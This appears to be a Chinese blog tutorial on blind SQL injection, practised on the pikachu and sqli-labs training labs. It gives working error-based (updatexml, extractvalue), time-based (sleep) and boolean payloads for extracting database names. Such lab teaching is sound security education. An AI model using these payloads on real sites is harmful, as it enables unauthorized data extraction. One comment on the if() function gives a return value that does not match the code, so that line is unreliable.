環境
- phpstudy
- pikachu
- sqli-labs
為什么sql注入會出現無回顯的情況
當我們進行sql注入時,會發生一些無回顯的情況,這時需要我們用到sql盲注的一些方法來進行注入。分析無回顯這種情況,其實是因為數據庫的查詢方法導致的,在我們有回顯進行注入時,數據庫多用的是select查詢,當我們使用select在數據庫中查詢時,會顯示出來數據內容,例如
但是,當我們進行增加、修改或刪除數據時,數據庫卻不會給出這么多提示信息
增加
修改
刪除
因此,在注入過程中頁面並沒有明顯的提示信息,對於這種注入,我們叫做sql注入盲注
業務場景
盲注多用於注冊用戶、修改用戶信息,注冊用戶可以跟數據庫發生增加用戶的數據交互(insert into),而修改用戶信息跟數據庫發生的數據交互為更新(update)
盲注的三種方法
報錯注入
原理:利用函數讓數據庫報錯,利用頁面回顯的信息,從而進行注入
pikachu靶場演示
注冊用戶,抓取數據包,此處的數據庫操作是insert into操作
payload
# payload1
' or updatexml(1,concat(0x7e,database(),0x7e),0) or '
# payload2
' and extractvalue(1,concat('~',(select database()))) and '1'='1
頁面產生錯誤信息
接下來進行進行注入就可以了
延時注入
原理:使用if或者sleep函數,配合mid、substr、ascii、left等函數進行注入
常用的延時注入sql函數
# 如果條件成立,那么返回0,否則返回4
if(條件,0,5)
# sql語句延時執行x秒
sleep(x)
# 從b位置開始,截取a字符串的c位
mid(a,b,c)
# 從b位置開始,截取字符串a的c長度
substr(a,b,c)
# 從左側截取a的前b位
left(a,b)
# 判斷a的長度是否等於8
length(a)=8
# 判斷x的ascii碼是否等於97
ascii(x)=97
sqli-labs less-9靶場
payload
# 如果數據庫的第一位是s,那么直接返回,否則延時5秒
' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
# 按照這種方法,可以爆出數據庫名,隨后爆表爆字段即可
布爾注入
原理:布爾,顧名思義,true或者false
sqli-labs less-5
我們來到sqli-labs的第五關,查看源代碼
分析代碼,當我們的輸入的sql語句正確的時候,頁面會顯示.....的內容,根據頁面是否顯示內容可判斷我們猜測的數據庫名、表、列等信息是否正確
# 判斷數據庫的長度是否為8
' and length(database())=8#
# 后面步驟不做介紹,采用頁面是否回顯,判斷我們猜測的數據庫名、表、列等信息是否正確,最后完成sql注入
三種方法對比
盲注中使用報錯注入使用的比較多,延時注入容易產生誤判並且耗時較長,而布爾注入耗時較長,因此首選報錯注入